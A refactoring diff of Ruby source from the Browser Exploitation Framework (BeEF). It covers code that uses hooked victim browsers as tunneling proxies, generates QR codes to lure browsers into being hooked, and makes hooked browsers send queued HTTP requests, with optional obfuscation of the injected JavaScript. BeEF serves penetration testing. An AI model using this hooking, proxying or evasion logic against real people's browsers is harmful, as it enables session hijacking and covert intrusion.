||||||
hooked_browser.update(:is_proxy => true)
|
|
||||||
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
|
|
||||||
result['success'] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
result.to_json
|
|
||||||
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error setting browser as proxy (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# set the HB requested in /setTargetProxy as Tunneling Proxy
|
||||||
|
unless hooked_browser.nil?
|
||||||
|
hooked_browser.update(is_proxy: true)
|
||||||
|
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
|
||||||
|
result['success'] = true
|
||||||
|
end
|
||||||
|
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error setting browser as proxy (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/proxy handler.
|
# Raised when invalid JSON input is passed to an /api/proxy handler.
|
||||||
class InvalidJsonError < StandardError
|
class InvalidJsonError < StandardError
|
||||||
|
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'.freeze
|
||||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'
|
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when an invalid named parameter is passed to an /api/proxy handler.
|
# Raised when an invalid named parameter is passed to an /api/proxy handler.
|
||||||
class InvalidParamError < StandardError
|
class InvalidParamError < StandardError
|
||||||
|
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'.freeze
|
||||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'
|
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
str = "Invalid \"%s\" parameter passed to /api/proxy handler"
|
str = 'Invalid "%s" parameter passed to /api/proxy handler'
|
||||||
message = sprintf str, message unless message.nil?
|
message = format str, message unless message.nil?
|
||||||
super(message)
|
super(message)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,17 +4,15 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Qrcode
|
module Qrcode
|
||||||
|
extend BeEF::API::Extension
|
||||||
extend BeEF::API::Extension
|
|
||||||
|
|
||||||
@short_name = 'qrcode'
|
|
||||||
@full_name = 'QR Code Generator'
|
|
||||||
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
|
|
||||||
|
|
||||||
end
|
@short_name = 'qrcode'
|
||||||
end
|
@full_name = 'QR Code Generator'
|
||||||
|
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/qrcode/qrcode'
|
require 'extensions/qrcode/qrcode'
|
||||||
|
|||||||
@@ -4,88 +4,89 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Qrcode
|
module Qrcode
|
||||||
|
module QrcodeGenerator
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')
|
||||||
|
|
||||||
module QrcodeGenerator
|
def self.pre_http_start(_http_hook_server)
|
||||||
|
require 'uri'
|
||||||
|
require 'qr4r'
|
||||||
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')
|
fullurls = []
|
||||||
|
|
||||||
def self.pre_http_start(http_hook_server)
|
|
||||||
require 'uri'
|
|
||||||
require 'qr4r'
|
|
||||||
|
|
||||||
fullurls = []
|
# get server config
|
||||||
|
configuration = BeEF::Core::Configuration.instance
|
||||||
|
beef_proto = configuration.beef_proto
|
||||||
|
beef_host = configuration.beef_host
|
||||||
|
beef_port = configuration.beef_port
|
||||||
|
|
||||||
# get server config
|
# get URLs from QR config
|
||||||
configuration = BeEF::Core::Configuration.instance
|
configuration.get('beef.extension.qrcode.targets').each do |target|
|
||||||
beef_proto = configuration.beef_proto
|
# absolute URLs
|
||||||
beef_host = configuration.beef_host
|
if target.lines.grep(%r{^https?://}i).size.positive?
|
||||||
beef_port = configuration.beef_port
|
fullurls << target
|
||||||
|
# relative URLs
|
||||||
|
else
|
||||||
|
# network interfaces
|
||||||
|
BeEF::Core::Console::Banners.interfaces.each do |int|
|
||||||
|
next if int == '0.0.0.0'
|
||||||
|
|
||||||
# get URLs from QR config
|
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
|
||||||
configuration.get("beef.extension.qrcode.targets").each do |target|
|
end
|
||||||
# absolute URLs
|
# beef host
|
||||||
if target.lines.grep(/^https?:\/\//i).size > 0
|
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}" unless beef_host == '0.0.0.0'
|
||||||
fullurls << target
|
end
|
||||||
# relative URLs
|
|
||||||
else
|
|
||||||
# network interfaces
|
|
||||||
BeEF::Core::Console::Banners.interfaces.each do |int|
|
|
||||||
next if int == "0.0.0.0"
|
|
||||||
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
|
|
||||||
end
|
end
|
||||||
# beef host
|
|
||||||
unless beef_host == "0.0.0.0"
|
|
||||||
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
unless fullurls.empty?
|
return unless fullurls.empty?
|
||||||
img_dir = 'extensions/qrcode/images'
|
|
||||||
begin
|
img_dir = 'extensions/qrcode/images'
|
||||||
Dir.mkdir(img_dir) unless File.directory?(img_dir)
|
|
||||||
rescue
|
|
||||||
print_error "[QR] Could not create directory '#{img_dir}'"
|
|
||||||
end
|
|
||||||
data = ''
|
|
||||||
fullurls.uniq.each do |target|
|
|
||||||
fname = ('a'..'z').to_a.shuffle[0,8].join
|
|
||||||
qr_path = "#{img_dir}/#{fname}.png"
|
|
||||||
begin
|
begin
|
||||||
qr = Qr4r::encode(
|
Dir.mkdir(img_dir) unless File.directory?(img_dir)
|
||||||
target, qr_path, {
|
rescue StandardError
|
||||||
:pixel_size => configuration.get("beef.extension.qrcode.qrsize"),
|
print_error "[QR] Could not create directory '#{img_dir}'"
|
||||||
:border => configuration.get("beef.extension.qrcode.qrborder")
|
|
||||||
})
|
|
||||||
rescue
|
|
||||||
print_error "[QR] Could not write file '#{qr_path}'"
|
|
||||||
next
|
|
||||||
end
|
end
|
||||||
print_debug "[QR] Wrote file '#{qr_path}'"
|
|
||||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
|
||||||
"/#{qr_path}", "/qrcode/#{fname}", 'png')
|
|
||||||
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
|
|
||||||
data += "- URL: #{target}\n"
|
|
||||||
# Google API
|
|
||||||
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
|
||||||
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
|
||||||
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
|
||||||
#data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
|
|
||||||
# QRServer.com
|
|
||||||
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
|
||||||
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
|
||||||
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
|
||||||
#data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
|
|
||||||
end
|
|
||||||
print_info "QR code images available:"
|
|
||||||
print_more data
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
data = ''
|
||||||
end
|
fullurls.uniq.each do |target|
|
||||||
|
fname = ('a'..'z').to_a.sample(8).join
|
||||||
|
qr_path = "#{img_dir}/#{fname}.png"
|
||||||
|
begin
|
||||||
|
Qr4r.encode(
|
||||||
|
target, qr_path, {
|
||||||
|
pixel_size: configuration.get('beef.extension.qrcode.qrsize'),
|
||||||
|
border: configuration.get('beef.extension.qrcode.qrborder')
|
||||||
|
}
|
||||||
|
)
|
||||||
|
rescue StandardError
|
||||||
|
print_error "[QR] Could not write file '#{qr_path}'"
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
print_debug "[QR] Wrote file '#{qr_path}'"
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||||
|
"/#{qr_path}", "/qrcode/#{fname}", 'png'
|
||||||
|
)
|
||||||
|
|
||||||
|
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
|
||||||
|
data += "- URL: #{target}\n"
|
||||||
|
# Google API
|
||||||
|
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||||
|
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||||
|
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||||
|
# data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
|
||||||
|
# QRServer.com
|
||||||
|
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
|
||||||
|
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||||
|
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
|
||||||
|
# data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
print_info 'QR code images available:'
|
||||||
|
print_more data
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,25 +4,25 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Requester
|
module Requester
|
||||||
module RegisterHttpHandler
|
module RegisterHttpHandler
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||||
|
|
||||||
def self.mount_handler(beef_server)
|
|
||||||
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
|
|
||||||
beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
module RegisterPreHookCallback
|
def self.mount_handler(beef_server)
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
|
||||||
|
beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def self.pre_hook_send(hooked_browser, body, params, request, response)
|
module RegisterPreHookCallback
|
||||||
dhook = BeEF::Extension::Requester::API::Hook.new
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
||||||
dhook.requester_run(hooked_browser, body)
|
|
||||||
|
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
|
||||||
|
dhook = BeEF::Extension::Requester::API::Hook.new
|
||||||
|
dhook.requester_run(hooked_browser, body)
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
@@ -8,10 +8,8 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module Requester
|
module Requester
|
||||||
module API
|
module API
|
||||||
|
|
||||||
require 'uri'
|
require 'uri'
|
||||||
class Hook
|
class Hook
|
||||||
|
|
||||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||||
|
|
||||||
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
|
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
|
||||||
@@ -21,33 +19,30 @@ module BeEF
|
|||||||
# Generate all the requests and output them to the hooked browser
|
# Generate all the requests and output them to the hooked browser
|
||||||
output = []
|
output = []
|
||||||
print_debug hb.to_json
|
print_debug hb.to_json
|
||||||
BeEF::Core::Models::Http.where(:hooked_browser_id => hb.session, :has_ran => "waiting").each { |h|
|
BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
|
||||||
output << self.requester_parse_db_request(h)
|
output << requester_parse_db_request(h)
|
||||||
}
|
end
|
||||||
|
|
||||||
|
|
||||||
return if output.empty?
|
return if output.empty?
|
||||||
|
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
ws = BeEF::Core::Websocket::Websocket.instance
|
ws = BeEF::Core::Websocket::Websocket.instance
|
||||||
|
|
||||||
if config.get("beef.extension.evasion.enable")
|
evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')
|
||||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
|
||||||
end
|
|
||||||
|
|
||||||
|
# TODO: antisnatchor: prevent sending "content" multiple times.
|
||||||
# todo antisnatchor: prevent sending "content" multiple times.
|
|
||||||
# Better leaving it after the first run, and don't send it again.
|
# Better leaving it after the first run, and don't send it again.
|
||||||
# todo antisnatchor: remove this gsub crap adding some hook packing.
|
# todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||||
|
|
||||||
# If we use WebSockets, just reply wih the component contents
|
# If we use WebSockets, just reply wih the component contents
|
||||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
|
||||||
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
|
content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
|
||||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
// See the file \'doc/COPYING\' for copying permission
|
// See the file \'doc/COPYING\' for copying permission
|
||||||
//', "")
|
//', '')
|
||||||
add_to_body output
|
add_to_body output
|
||||||
if config.get("beef.extension.evasion.enable")
|
if config.get('beef.extension.evasion.enable')
|
||||||
ws.send(evasion.obfuscate(content) + @body, hb.session)
|
ws.send(evasion.obfuscate(content) + @body, hb.session)
|
||||||
else
|
else
|
||||||
ws.send(content + @body, hb.session)
|
ws.send(content + @body, hb.session)
|
||||||
@@ -64,7 +59,7 @@ module BeEF
|
|||||||
def add_to_body(output)
|
def add_to_body(output)
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
req = %Q{
|
req = %{
|
||||||
beef.execute(function() {
|
beef.execute(function() {
|
||||||
beef.net.requester.send(
|
beef.net.requester.send(
|
||||||
#{output.to_json}
|
#{output.to_json}
|
||||||
@@ -72,7 +67,7 @@ module BeEF
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
if config.get("beef.extension.evasion.enable")
|
if config.get('beef.extension.evasion.enable')
|
||||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||||
@body << evasion.obfuscate(req)
|
@body << evasion.obfuscate(req)
|
||||||
else
|
else
|
||||||
@@ -86,7 +81,6 @@ module BeEF
|
|||||||
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
|
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
|
||||||
# and finally sent to and executed by the hooked browser.
|
# and finally sent to and executed by the hooked browser.
|
||||||
def requester_parse_db_request(http_db_object)
|
def requester_parse_db_request(http_db_object)
|
||||||
|
|
||||||
allow_cross_domain = http_db_object.allow_cross_domain.to_s
|
allow_cross_domain = http_db_object.allow_cross_domain.to_s
|
||||||
verb = http_db_object.method.upcase
|
verb = http_db_object.method.upcase
|
||||||
proto = http_db_object.proto.downcase
|
proto = http_db_object.proto.downcase
|
||||||
@@ -98,71 +92,65 @@ module BeEF
|
|||||||
@host = http_db_object.domain
|
@host = http_db_object.domain
|
||||||
@port = http_db_object.port
|
@port = http_db_object.port
|
||||||
|
|
||||||
print_debug "http_db_object:"
|
print_debug 'http_db_object:'
|
||||||
print_debug http_db_object.to_json
|
print_debug http_db_object.to_json
|
||||||
|
|
||||||
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
|
# @note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
|
||||||
req_parts.each_with_index do |value, index|
|
req_parts.each_with_index do |value, index|
|
||||||
if value.match(/^Content-Length:\s+(\d+)/)
|
@content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/)
|
||||||
@content_length = Integer(req_parts[index].split(/:\s+/)[1])
|
|
||||||
end
|
|
||||||
|
|
||||||
if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body)
|
@post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body)
|
||||||
@post_data_index = index
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#@note: add HTTP request headers to an Hash
|
# @note: add HTTP request headers to an Hash
|
||||||
req_parts.each_with_index do |value, index|
|
req_parts.each_with_index do |value, index|
|
||||||
if verb.eql?('POST')
|
if verb.eql?('POST')
|
||||||
if index > 0 and index < @post_data_index #only add HTTP headers, not the verb/uri/version or post-data
|
if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data
|
||||||
header_key = value.split(/: /)[0]
|
header_key = value.split(/: /)[0]
|
||||||
header_value = value.split(/: /)[1]
|
header_value = value.split(/: /)[1]
|
||||||
headers[header_key] = header_value
|
headers[header_key] = header_value
|
||||||
end
|
|
||||||
else
|
|
||||||
if index > 0 #only add HTTP headers, not the verb/uri/version
|
|
||||||
header_key = value.split(/: /)[0]
|
|
||||||
header_value = value.split(/: /)[1]
|
|
||||||
headers[header_key] = header_value
|
|
||||||
end
|
end
|
||||||
|
elsif index.positive?
|
||||||
|
header_key = value.split(/: /)[0]
|
||||||
|
header_value = value.split(/: /)[1]
|
||||||
|
headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# set default port if nil
|
# set default port if nil
|
||||||
if @port.nil?
|
if @port.nil?
|
||||||
if uri.to_s =~ /^https?/
|
@port = if uri.to_s =~ /^https?/
|
||||||
# absolute
|
# absolute
|
||||||
(uri.match(/^https:/)) ? @port = 443 : @port = 80
|
uri.match(/^https:/) ? 443 : 80
|
||||||
else
|
else
|
||||||
# relative
|
# relative
|
||||||
(proto.eql?('https')) ? @port = 443 : @port = 80
|
proto.eql?('https') ? 443 : 80
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Build request
|
# Build request
|
||||||
http_request_object = {
|
http_request_object = {
|
||||||
'id' => http_db_object.id,
|
'id' => http_db_object.id,
|
||||||
'method' => verb,
|
'method' => verb,
|
||||||
'proto' => proto,
|
'proto' => proto,
|
||||||
'host' => @host,
|
'host' => @host,
|
||||||
'port' => @port,
|
'port' => @port,
|
||||||
'uri' => uri,
|
'uri' => uri,
|
||||||
'headers' => headers,
|
'headers' => headers,
|
||||||
'allowCrossDomain' => allow_cross_domain
|
'allowCrossDomain' => allow_cross_domain
|
||||||
}
|
}
|
||||||
|
|
||||||
# Add POST request data
|
# Add POST request data
|
||||||
if not @content_length.nil? and @content_length > 0
|
if !@content_length.nil? && @content_length.positive?
|
||||||
post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)
|
post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)
|
||||||
@post_data = post_data_sliced.join
|
@post_data = post_data_sliced.join
|
||||||
http_request_object['data'] = @post_data
|
http_request_object['data'] = @post_data
|
||||||
end
|
end
|
||||||
|
|
||||||
#@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
|
# @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
|
||||||
headers.keys.each { |key| http_request_object['headers'][key] = headers[key] }
|
headers.each_key { |key| http_request_object['headers'][key] = headers[key] }
|
||||||
|
|
||||||
print_debug "result http_request_object"
|
print_debug 'result http_request_object'
|
||||||
print_debug http_request_object.to_json
|
print_debug http_request_object.to_json
|
||||||
|
|
||||||
http_request_object
|
http_request_object
|
||||||
|
|||||||
@@ -4,11 +4,10 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Requester
|
module Requester
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/requester/models/http'
|
require 'extensions/requester/models/http'
|
||||||
|
|||||||
@@ -6,12 +6,10 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Requester
|
module Requester
|
||||||
|
|
||||||
#
|
#
|
||||||
# The http handler that manages the Requester.
|
# The http handler that manages the Requester.
|
||||||
#
|
#
|
||||||
class Handler
|
class Handler
|
||||||
|
|
||||||
H = BeEF::Core::Models::Http
|
H = BeEF::Core::Models::Http
|
||||||
Z = BeEF::Core::Models::HookedBrowser
|
Z = BeEF::Core::Models::HookedBrowser
|
||||||
|
|
||||||
@@ -24,39 +22,48 @@ module BeEF
|
|||||||
# validates the hook token
|
# validates the hook token
|
||||||
beef_hook = @data['beefhook'] || nil
|
beef_hook = @data['beefhook'] || nil
|
||||||
if beef_hook.nil?
|
if beef_hook.nil?
|
||||||
print_error "beefhook is null"
|
print_error 'beefhook is null'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# validates the request id
|
# validates the request id
|
||||||
request_id = @data['cid'].to_s
|
request_id = @data['cid'].to_s
|
||||||
if request_id == ''
|
if request_id == ''
|
||||||
print_error "Original request id (command id) is null"
|
print_error 'Original request id (command id) is null'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if !BeEF::Filters::nums_only?(request_id)
|
unless BeEF::Filters.nums_only?(request_id)
|
||||||
print_error "Original request id (command id) is invalid"
|
print_error 'Original request id (command id) is invalid'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# validates that a hooked browser with the beef_hook token exists in the db
|
# validates that a hooked browser with the beef_hook token exists in the db
|
||||||
zombie_db = Z.where(:session => beef_hook).first || nil
|
zombie_db = Z.where(session: beef_hook).first || nil
|
||||||
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil?
|
if zombie_db.nil?
|
||||||
|
(print_error 'Invalid beefhook id: the hooked browser cannot be found in the database'
|
||||||
|
return)
|
||||||
|
end
|
||||||
|
|
||||||
# validates that we have such a http request saved in the db
|
# validates that we have such a http request saved in the db
|
||||||
http_db = H.where(:id => request_id.to_i, :hooked_browser_id => zombie_db.session).first || nil
|
http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil
|
||||||
if http_db.nil?
|
if http_db.nil?
|
||||||
print_error "Invalid http_db: no such request found in the database"
|
print_error 'Invalid http_db: no such request found in the database'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# validates that the http request has not been run before
|
# validates that the http request has not been run before
|
||||||
(print_error "This http request has been saved before";return) if http_db.has_ran.eql? "complete"
|
if http_db.has_ran.eql? 'complete'
|
||||||
|
(print_error 'This http request has been saved before'
|
||||||
|
return)
|
||||||
|
end
|
||||||
|
|
||||||
# validates the response code
|
# validates the response code
|
||||||
response_code = @data['results']['response_status_code'] || nil
|
response_code = @data['results']['response_status_code'] || nil
|
||||||
(print_error "Http response code is null";return) if response_code.nil?
|
if response_code.nil?
|
||||||
|
(print_error 'Http response code is null'
|
||||||
|
return)
|
||||||
|
end
|
||||||
|
|
||||||
# save the results in the database
|
# save the results in the database
|
||||||
http_db.response_headers = @data['results']['response_headers']
|
http_db.response_headers = @data['results']['response_headers']
|
||||||
@@ -65,13 +72,11 @@ module BeEF
|
|||||||
http_db.response_port_status = @data['results']['response_port_status']
|
http_db.response_port_status = @data['results']['response_port_status']
|
||||||
http_db.response_data = @data['results']['response_data']
|
http_db.response_data = @data['results']['response_data']
|
||||||
http_db.response_date = Time.now
|
http_db.response_date = Time.now
|
||||||
http_db.has_ran = "complete"
|
http_db.has_ran = 'complete'
|
||||||
|
|
||||||
# Store images as binary
|
# Store images as binary
|
||||||
# see issue https://github.com/beefproject/beef/issues/449
|
# see issue https://github.com/beefproject/beef/issues/449
|
||||||
if http_db.response_headers =~ /Content-Type: image/
|
http_db.response_data = http_db.response_data.unpack('a*') if http_db.response_headers =~ /Content-Type: image/
|
||||||
http_db.response_data = http_db.response_data.unpack('a*')
|
|
||||||
end
|
|
||||||
|
|
||||||
http_db.save
|
http_db.save
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,23 +4,28 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
#
|
#
|
||||||
# Table stores the http requests and responses from the requester.
|
# Table stores the http requests and responses from the requester.
|
||||||
#
|
#
|
||||||
class Http < BeEF::Core::Model
|
class Http < BeEF::Core::Model
|
||||||
|
#
|
||||||
#
|
# Removes a request/response from the data store
|
||||||
# Removes a request/response from the data store
|
#
|
||||||
#
|
def self.delete(id)
|
||||||
def self.delete(id)
|
if id.to_s !~ /\A\d+\z/
|
||||||
(print_error "Failed to remove response. Invalid response ID."; return) if id.to_s !~ /\A\d+\z/
|
(print_error 'Failed to remove response. Invalid response ID.'
|
||||||
r = BeEF::Core::Models::Http.find(id.to_i)
|
return)
|
||||||
(print_error "Failed to remove response [id: #{id}]. Response does not exist."; return) if r.nil?
|
end
|
||||||
r.destroy
|
r = BeEF::Core::Models::Http.find(id.to_i)
|
||||||
|
if r.nil?
|
||||||
|
(print_error "Failed to remove response [id: #{id}]. Response does not exist."
|
||||||
|
return)
|
||||||
|
end
|
||||||
|
r.destroy
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
@@ -6,10 +6,8 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Requester
|
module Requester
|
||||||
|
|
||||||
# This class handles the routing of RESTful API requests for the requester
|
# This class handles the routing of RESTful API requests for the requester
|
||||||
class RequesterRest < BeEF::Core::Router::Router
|
class RequesterRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
# Filters out bad requests before performing any routing
|
# Filters out bad requests before performing any routing
|
||||||
before do
|
before do
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
@@ -29,264 +27,233 @@ module BeEF
|
|||||||
|
|
||||||
# Returns a request by ID
|
# Returns a request by ID
|
||||||
get '/request/:id' do
|
get '/request/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||||
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
|
|
||||||
|
|
||||||
requests = H.find(id)
|
requests = H.find(id)
|
||||||
halt 404 if requests.nil?
|
halt 404 if requests.nil?
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = requests.length
|
result[:count] = requests.length
|
||||||
result[:requests] = []
|
result[:requests] = []
|
||||||
requests.each do |request|
|
requests.each do |request|
|
||||||
result[:requests] << request2hash(request)
|
result[:requests] << request2hash(request)
|
||||||
end
|
|
||||||
|
|
||||||
result.to_json
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
|
|
||||||
halt 500
|
|
